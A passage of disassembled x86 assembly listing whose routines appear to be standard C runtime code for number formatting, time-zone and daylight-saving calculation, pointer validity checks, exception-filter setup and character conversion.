loc_4202B4: ; CODE XREF: sub_42020E+98j
cmp ebx, eax
jg short loc_4202F7
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_42013F
lea eax, [ebp+var_C]
push esi
push eax
call sub_420181
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_4200B3
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_420181
add esp, 20h
loc_4202F0: ; CODE XREF: sub_42020E+A4j
xor esi, esi
jmp loc_420273
; ---------------------------------------------------------------------------
loc_4202F7: ; CODE XREF: sub_42020E+A8j
cmp ebx, [edi]
jl short loc_420323
lea eax, [ebp+var_C]
push eax
call sub_42015A
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_420181
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_420275
; ---------------------------------------------------------------------------
loc_420323: ; CODE XREF: sub_42020E+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_420181
pop ecx
pop ecx
loc_42033A: ; CODE XREF: sub_42020E+55j
xor eax, eax
loc_42033C: ; CODE XREF: sub_42020E+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_42036B
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_420375
; ---------------------------------------------------------------------------
loc_42036B: ; CODE XREF: sub_42020E+14Ej
cmp edi, 20h
jnz short loc_420375
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_420375: ; CODE XREF: sub_42020E+15Bj
; sub_42020E+160j
pop edi
pop esi
pop ebx
leave
retn
sub_42020E endp
; =============== S U B R O U T I N E =======================================
sub_42037A proc near ; CODE XREF: sub_4203A6+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43B420
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_42020E
add esp, 0Ch
retn
sub_42037A endp
; =============== S U B R O U T I N E =======================================
sub_420390 proc near ; CODE XREF: sub_4203D3+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43B438
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_42020E
add esp, 0Ch
retn
sub_420390 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4203A6 proc near ; CODE XREF: sub_41C62F+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_421208
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_42037A
add esp, 24h
leave
retn
sub_4203A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4203D3 proc near ; CODE XREF: sub_41C62F+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_421208
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_420390
add esp, 24h
leave
retn
sub_4203D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420400 proc near ; CODE XREF: sub_41C66D+65p
; sub_41C771+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_42043D
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_420423: ; CODE XREF: sub_420400+38j
mov dl, [ecx]
test dl, dl
jz short loc_42042F
movsx edx, dl
inc ecx
jmp short loc_420432
; ---------------------------------------------------------------------------
loc_42042F: ; CODE XREF: sub_420400+27j
push 30h
pop edx
loc_420432: ; CODE XREF: sub_420400+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_420423
mov edx, [ebp+arg_8]
loc_42043D: ; CODE XREF: sub_420400+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_420456
cmp byte ptr [ecx], 35h
jl short loc_420456
loc_420449: ; CODE XREF: sub_420400+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_420454
mov byte ptr [eax], 30h
jmp short loc_420449
; ---------------------------------------------------------------------------
loc_420454: ; CODE XREF: sub_420400+4Dj
inc byte ptr [eax]
loc_420456: ; CODE XREF: sub_420400+42j
; sub_420400+47j
cmp byte ptr [esi], 31h
jnz short loc_420460
inc dword ptr [edx+4]
jmp short loc_420472
; ---------------------------------------------------------------------------
loc_420460: ; CODE XREF: sub_420400+59j
push edi
call sub_4177B0
inc eax
push eax
push edi
push esi
call sub_417FC0
add esp, 10h
loc_420472: ; CODE XREF: sub_420400+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_420400 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420477 proc near ; CODE XREF: sub_41C66D+3Fp
; sub_41C771+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_4204DB
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_489680
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_4216D9
mov dword_4896A8, eax
add esp, 18h
movsx eax, byte_489682
mov dword_4896A0, eax
pop edi
movsx eax, word_489680
mov dword_4896A4, eax
mov dword_4896AC, offset dword_489684
mov eax, offset dword_4896A0
pop esi
leave
retn
sub_420477 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4204DB proc near ; CODE XREF: sub_420477+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_420529
cmp ebx, edi
jz short loc_420522
lea edi, [ecx+3C00h]
jmp short loc_42054A
; ---------------------------------------------------------------------------
loc_420522: ; CODE XREF: sub_4204DB+3Dj
mov edi, 7FFFh
jmp short loc_42054A
; ---------------------------------------------------------------------------
loc_420529: ; CODE XREF: sub_4204DB+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_420541
cmp edx, ebx
jnz short loc_420541
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_42058C
; ---------------------------------------------------------------------------
loc_420541: ; CODE XREF: sub_4204DB+52j
; sub_4204DB+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_42054A: ; CODE XREF: sub_4204DB+45j
; sub_4204DB+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_420562: ; CODE XREF: sub_4204DB+A6j
test ecx, esi
jnz short loc_420583
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_420562
; ---------------------------------------------------------------------------
loc_420583: ; CODE XREF: sub_4204DB+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_42058C: ; CODE XREF: sub_4204DB+64j
pop edi
pop esi
pop ebx
leave
retn
sub_4204DB endp
; ---------------------------------------------------------------------------
push 2
call sub_4199DA
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_42059A proc near ; DATA XREF: sub_4205E0o
; .data:0043ADF8o ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_4205BD
cmp dword ptr [eax+10h], 3
jnz short loc_4205BD
cmp dword ptr [eax+14h], 19930520h
jnz short loc_4205BD
jmp sub_41D1FC
; ---------------------------------------------------------------------------
loc_4205BD: ; CODE XREF: sub_42059A+Dj
; sub_42059A+13j ...
mov eax, dword_4896B0
test eax, eax
jz short loc_4205DA
push eax
call sub_420636
test eax, eax
pop ecx
jz short loc_4205DA
push esi
call dword_4896B0
jmp short loc_4205DC
; ---------------------------------------------------------------------------
loc_4205DA: ; CODE XREF: sub_42059A+2Aj
; sub_42059A+35j
xor eax, eax
loc_4205DC: ; CODE XREF: sub_42059A+3Ej
pop esi
retn 4
sub_42059A endp
; =============== S U B R O U T I N E =======================================
sub_4205E0 proc near ; DATA XREF: .data:00425024o
push offset sub_42059A
call dword_42301C ; SetUnhandledExceptionFilter
mov dword_4896B0, eax
retn
sub_4205E0 endp
; =============== S U B R O U T I N E =======================================
sub_4205F1 proc near ; DATA XREF: .data:0042503Co
push dword_4896B0
call dword_42301C ; SetUnhandledExceptionFilter
retn
sub_4205F1 endp
; =============== S U B R O U T I N E =======================================
sub_4205FE proc near ; CODE XREF: sub_41CA45+6Bp
; sub_41CF56+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_423018 ; IsBadReadPtr
test eax, eax
jz short loc_420616
xor esi, esi
loc_420616: ; CODE XREF: sub_4205FE+14j
mov eax, esi
pop esi
retn
sub_4205FE endp
; =============== S U B R O U T I N E =======================================
sub_42061A proc near ; CODE XREF: sub_41CF56+73p
; sub_41CF56+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_4231B8 ; IsBadWritePtr
test eax, eax
jz short loc_420632
xor esi, esi
loc_420632: ; CODE XREF: sub_42061A+14j
mov eax, esi
pop esi
retn
sub_42061A endp
; =============== S U B R O U T I N E =======================================
sub_420636 proc near ; CODE XREF: sub_41CF56+15Bp
; sub_42059A+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call dword_423014 ; IsBadCodePtr
test eax, eax
jz short loc_42064A
xor esi, esi
loc_42064A: ; CODE XREF: sub_420636+10j
mov eax, esi
pop esi
retn
sub_420636 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41D1FC
loc_42064E: ; CODE XREF: sub_41D1FC:loc_41D24Dj
push 0Ah
call sub_41F5B1
push 16h
call sub_42196C
pop ecx
pop ecx
push 3
call sub_4197F6
; END OF FUNCTION CHUNK FOR sub_41D1FC
; =============== S U B R O U T I N E =======================================
sub_420665 proc near ; CODE XREF: sub_41D309:loc_41D348p
cmp dword_489770, 0
jnz short locret_420679
call sub_42067A
inc dword_489770
locret_420679: ; CODE XREF: sub_420665+7j
retn
sub_420665 endp
; =============== S U B R O U T I N E =======================================
sub_42067A proc near ; CODE XREF: sub_420665+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_4896B8, ebp
mov dword_43B4F8, ebx
mov dword_43B4E8, ebx
call sub_421ADE
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_4207A3
push offset dword_4896C0
call dword_42318C ; GetTimeZoneInformation
cmp eax, ebx
jz loc_4208D2
mov eax, dword_4896C0
mov ecx, dword_489714
imul eax, 3Ch
cmp word_489706, bp
push 1
pop edx
mov dword_43B450, eax
mov dword_4896B8, edx
jz short loc_4206F1
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_43B450, eax
loc_4206F1: ; CODE XREF: sub_42067A+69j
cmp word_48975A, bp
jz short loc_420715
mov eax, dword_489768
cmp eax, ebp
jz short loc_420715
sub eax, ecx
mov dword_43B454, edx
imul eax, 3Ch
mov dword_43B458, eax
jmp short loc_420721
; ---------------------------------------------------------------------------
loc_420715: ; CODE XREF: sub_42067A+7Ej
; sub_42067A+87j
mov dword_43B454, ebp
mov dword_43B458, ebp
loc_420721: ; CODE XREF: sub_42067A+99j
lea eax, [esp+14h+var_4]
mov esi, dword_423150
push eax
push ebp
push 3Fh
mov edi, 220h
push off_43B4DC
push ebx
push offset dword_4896C4
push edi
push dword_489550
call esi ; WideCharToMultiByte
test eax, eax
jz short loc_42075E
cmp [esp+14h+var_4], ebp
jnz short loc_42075E
mov eax, off_43B4DC
and byte ptr [eax+3Fh], 0
jmp short loc_420766
; ---------------------------------------------------------------------------
loc_42075E: ; CODE XREF: sub_42067A+D1j
; sub_42067A+D7j
mov eax, off_43B4DC
and byte ptr [eax], 0
loc_420766: ; CODE XREF: sub_42067A+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_43B4E0
push ebx
push offset dword_489718
push edi
push dword_489550
call esi ; WideCharToMultiByte
test eax, eax
jz loc_4208CA
cmp [esp+14h+var_4], ebp
jnz loc_4208CA
mov eax, off_43B4E0
and byte ptr [eax+3Fh], 0
jmp loc_4208D2
; ---------------------------------------------------------------------------
loc_4207A3: ; CODE XREF: sub_42067A+2Dj
cmp byte ptr [esi], 0
jz loc_4208D2
mov eax, dword_48976C
cmp eax, ebp
jz short loc_4207C6
push eax
push esi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_4208D2
loc_4207C6: ; CODE XREF: sub_42067A+139j
push dword_48976C
call sub_41793B
push esi
call sub_4177B0
inc eax
push eax
call sub_417889
add esp, 0Ch
cmp eax, ebp
mov dword_48976C, eax
jz loc_4208D2
push esi
push eax
call sub_4176C0
push 3
push esi
push off_43B4DC
call sub_418910
mov eax, off_43B4DC
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_42081B
push 1
inc esi
pop edi
loc_42081B: ; CODE XREF: sub_42067A+19Bj
push esi
call sub_417494
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_43B450, ecx
loc_420832: ; CODE XREF: sub_42067A+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_420840
cmp al, bl
jl short loc_420843
cmp al, 39h
jg short loc_420843
loc_420840: ; CODE XREF: sub_42067A+1BCj
inc esi
jmp short loc_420832
; ---------------------------------------------------------------------------
loc_420843: ; CODE XREF: sub_42067A+1C0j
; sub_42067A+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_420896
inc esi
push esi
call sub_417494
imul eax, 3Ch
pop ecx
mov ecx, dword_43B450
add ecx, eax
mov dword_43B450, ecx
loc_420861: ; CODE XREF: sub_42067A+1F2j
mov al, [esi]
cmp al, bl
jl short loc_42086E
cmp al, 39h
jg short loc_42086E
inc esi
jmp short loc_420861
; ---------------------------------------------------------------------------
loc_42086E: ; CODE XREF: sub_42067A+1EBj
; sub_42067A+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_420896
inc esi
push esi
call sub_417494
pop ecx
mov ecx, dword_43B450
add ecx, eax
mov dword_43B450, ecx
loc_420889: ; CODE XREF: sub_42067A+21Aj
mov al, [esi]
cmp al, bl
jl short loc_420896
cmp al, 39h
jg short loc_420896
inc esi
jmp short loc_420889
; ---------------------------------------------------------------------------
loc_420896: ; CODE XREF: sub_42067A+1CCj
; sub_42067A+1F7j ...
cmp edi, ebp
jz short loc_4208A2
neg ecx
mov dword_43B450, ecx
loc_4208A2: ; CODE XREF: sub_42067A+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_43B454, eax
jz short loc_4208CA
push 3
push esi
push off_43B4E0
call sub_418910
mov eax, off_43B4E0
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_4208D2
; ---------------------------------------------------------------------------
loc_4208CA: ; CODE XREF: sub_42067A+10Bj
; sub_42067A+115j ...
mov eax, off_43B4E0
and byte ptr [eax], 0
loc_4208D2: ; CODE XREF: sub_42067A+40j
; sub_42067A+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_42067A endp
; =============== S U B R O U T I N E =======================================
sub_4208D8 proc near ; CODE XREF: sub_41D309+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_43B454, edi
jnz short loc_4208EC
loc_4208E5: ; CODE XREF: sub_4208D8+148j
; sub_4208D8+150j ...
xor eax, eax
jmp loc_420A38
; ---------------------------------------------------------------------------
loc_4208EC: ; CODE XREF: sub_4208D8+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_43B4E8
jnz short loc_42090A
cmp eax, dword_43B4F8
jz loc_420A0C
loc_42090A: ; CODE XREF: sub_4208D8+24j
cmp dword_4896B8, edi
jz loc_4209E2
movzx ecx, word_489766
push ecx
cmp word_489758, di
movzx ecx, word_489764
push ecx
movzx ecx, word_489762
push ecx
movzx ecx, word_489760
push ecx
jnz short loc_42095C
movzx ecx, word_48975C
push edi
push ecx
movzx ecx, word_48975E
push ecx
movzx ecx, word_48975A
push ecx
push eax
push ebx
jmp short loc_420970
; ---------------------------------------------------------------------------
loc_42095C: ; CODE XREF: sub_4208D8+65j
movzx ecx, word_48975E
push ecx
push edi
movzx ecx, word_48975A
push edi
push ecx
push eax
push edi
loc_420970: ; CODE XREF: sub_4208D8+82j
push ebx
call sub_420A84
movzx eax, word_489712
add esp, 2Ch
cmp word_489704, di
push eax
movzx eax, word_489710
push eax
movzx eax, word_48970E
push eax
movzx eax, word_48970C
push eax
jnz short loc_4209CA
movzx eax, word_489708
push edi
push eax
movzx eax, word_48970A
push eax
movzx eax, word_489706
push eax
push dword ptr [esi+14h]
push ebx
loc_4209BF: ; CODE XREF: sub_4208D8+108j
push edi
call sub_420A84
add esp, 2Ch
jmp short loc_420A0C
; ---------------------------------------------------------------------------
loc_4209CA: ; CODE XREF: sub_4208D8+C8j
movzx eax, word_48970A
push eax
push edi
movzx eax, word_489706
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_4209BF
; ---------------------------------------------------------------------------
loc_4209E2: ; CODE XREF: sub_4208D8+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_420A84
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_420A84
add esp, 58h
loc_420A0C: ; CODE XREF: sub_4208D8+2Cj
; sub_4208D8+F0j
mov edx, dword_43B4EC
mov eax, dword_43B4FC
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_420A3C
cmp ecx, edx
jl loc_4208E5
cmp ecx, eax
jg loc_4208E5
cmp ecx, edx
jle short loc_420A50
cmp ecx, eax
jge short loc_420A50
loc_420A36: ; CODE XREF: sub_4208D8+166j
; sub_4208D8+16Aj
mov eax, ebx
loc_420A38: ; CODE XREF: sub_4208D8+Fj
; sub_4208D8+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_420A3C: ; CODE XREF: sub_4208D8+144j
cmp ecx, eax
jl short loc_420A36
cmp ecx, edx
jg short loc_420A36
cmp ecx, eax
jle short loc_420A50
cmp ecx, edx
jl loc_4208E5
loc_420A50: ; CODE XREF: sub_4208D8+158j
; sub_4208D8+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_420A77
xor ecx, ecx
cmp eax, dword_43B4F0
setnl cl
loc_420A73: ; CODE XREF: sub_4208D8+1AAj
mov eax, ecx
jmp short loc_420A38
; ---------------------------------------------------------------------------
loc_420A77: ; CODE XREF: sub_4208D8+18Ej
xor ecx, ecx
cmp eax, dword_43B500
setl cl
jmp short loc_420A73
sub_4208D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420A84 proc near ; CODE XREF: sub_4208D8+99p
; sub_4208D8+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_420B1F
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_420AAF
shl esi, 2
mov eax, dword_43B500[esi]
jmp short loc_420AB8
; ---------------------------------------------------------------------------
loc_420AAF: ; CODE XREF: sub_420A84+1Ej
shl esi, 2
mov eax, dword_43B534[esi]
loc_420AB8: ; CODE XREF: sub_420A84+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jg short loc_420AF2
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_420AFC
; ---------------------------------------------------------------------------
loc_420AF2: ; CODE XREF: sub_420A84+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_420AFC: ; CODE XREF: sub_420A84+6Cj
cmp [ebp+arg_10], 5
jnz short loc_420B3A
cmp [ebp+arg_8], 0
jnz short loc_420B10
mov esi, dword_43B504[esi]
jmp short loc_420B16
; ---------------------------------------------------------------------------
loc_420B10: ; CODE XREF: sub_420A84+82j
mov esi, dword_43B538[esi]
loc_420B16: ; CODE XREF: sub_420A84+8Aj
cmp ecx, esi
jle short loc_420B3A
sub ecx, 7
jmp short loc_420B3A
; ---------------------------------------------------------------------------
loc_420B1F: ; CODE XREF: sub_420A84+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_420B30
mov ecx, dword_43B500[eax*4]
jmp short loc_420B37
; ---------------------------------------------------------------------------
loc_420B30: ; CODE XREF: sub_420A84+A1j
mov ecx, dword_43B534[eax*4]
loc_420B37: ; CODE XREF: sub_420A84+AAj
add ecx, [ebp+arg_18]
loc_420B3A: ; CODE XREF: sub_420A84+7Cj
; sub_420A84+94j ...
cmp [ebp+arg_0], 1
jnz short loc_420B6B
mov eax, [ebp+arg_1C]
mov dword_43B4EC, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_43B4E8, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43B4F0, eax
jmp short loc_420BC0
; ---------------------------------------------------------------------------
loc_420B6B: ; CODE XREF: sub_420A84+BAj
mov eax, [ebp+arg_1C]
mov dword_43B4FC, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_43B458
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43B500, eax
jns short loc_420BA3
add eax, 5265C00h
dec ecx
mov dword_43B500, eax
jmp short loc_420BB4
; ---------------------------------------------------------------------------
loc_420BA3: ; CODE XREF: sub_420A84+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_420BBA
sub eax, edx
inc ecx
mov dword_43B500, eax
loc_420BB4: ; CODE XREF: sub_420A84+11Dj
mov dword_43B4FC, ecx
loc_420BBA: ; CODE XREF: sub_420A84+126j
mov dword_43B4F8, ebx
loc_420BC0: ; CODE XREF: sub_420A84+E5j
pop esi
pop ebx
pop ebp
retn
sub_420A84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420BC4 proc near ; CODE XREF: sub_41D497+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_420BE7
cmp [ebp+arg_8], ebx
jz short loc_420BE7
mov al, [esi]
cmp al, bl
jnz short loc_420BED
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_420BE7
mov [eax], bx
loc_420BE7: ; CODE XREF: sub_420BC4+Cj
; sub_420BC4+11j ...
xor eax, eax
loc_420BE9: ; CODE XREF: sub_420BC4+42j
; sub_420BC4+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420BED: ; CODE XREF: sub_420BC4+17j
cmp dword_489540, ebx
jnz short loc_420C08
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_420C03
movzx ax, al
mov [ecx], ax
loc_420C03: ; CODE XREF: sub_420BC4+36j
; sub_420BC4+C0j
push 1
pop eax
jmp short loc_420BE9
; ---------------------------------------------------------------------------
loc_420C08: ; CODE XREF: sub_420BC4+2Fj
mov ecx, off_438A80
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420C65
mov eax, dword_438C8C
cmp eax, 1
jle short loc_420C4C
cmp [ebp+arg_8], eax
jl short loc_420C56
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_489550
call dword_423070 ; MultiByteToWideChar
test eax, eax
mov eax, dword_438C8C
jnz short loc_420BE9
loc_420C4C: ; CODE XREF: sub_420BC4+5Cj
cmp [ebp+arg_8], eax
jb short loc_420C56
cmp [esi+1], bl
jnz short loc_420BE9
loc_420C56: ; CODE XREF: sub_420BC4+61j
; sub_420BC4+8Bj ...
mov dword_4894AC, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_420BE9
; ---------------------------------------------------------------------------
loc_420C65: ; CODE XREF: sub_420BC4+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_489550
call dword_423070 ; MultiByteToWideChar
test eax, eax
jnz loc_420C03
jmp short loc_420C56
sub_420BC4 endp
; =============== S U B R O U T I N E =======================================
sub_420C8C proc near ; CODE XREF: sub_41D497+76p
; sub_41D497+88p ...
arg_0 = dword ptr 4
cmp dword_438C8C, 1
jle short loc_420CA3
push 8
push [esp+4+arg_0]
call sub_41A342
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_420CA3: ; CODE XREF: sub_420C8C+7j
mov eax, [esp+arg_0]
mov ecx, off_438A80
mov al, [ecx+eax*2]
and eax, 8
retn
sub_420C8C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_420CC0 proc near ; CODE XREF: sub_41D497+797p
; sub_41D497+7E7p
cmp cl, 40h
jnb short loc_420CDA
cmp cl, 20h
jnb short loc_420CD0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_420CD0: ; CODE XREF: sub_420CC0+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_420CDA: ; CODE XREF: sub_420CC0+3j
xor eax, eax
xor edx, edx
retn
sub_420CC0 endp
; =============== S U B R O U T I N E =======================================
sub_420CDF proc near ; CODE XREF: sub_41DF0D+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_420D2B
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_420CFD
test al, 80h
jz short loc_420D2B
test al, 2
jnz short loc_420D2B
loc_420CFD: ; CODE XREF: sub_420CDF+14j
cmp dword ptr [esi+8], 0
jnz short loc_420D0A
push esi
call sub_41F704
pop ecx
loc_420D0A: ; CODE XREF: sub_420CDF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_420D1A
cmp dword ptr [esi+4], 0
jnz short loc_420D2B
inc eax
mov [esi], eax
loc_420D1A: ; CODE XREF: sub_420CDF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_420D31
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_420D37
inc eax
mov [esi], eax
loc_420D2B: ; CODE XREF: sub_420CDF+9j
; sub_420CDF+18j ...
or eax, 0FFFFFFFFh
loc_420D2E: ; CODE XREF: sub_420CDF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_420D31: ; CODE XREF: sub_420CDF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_420D37: ; CODE XREF: sub_420CDF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
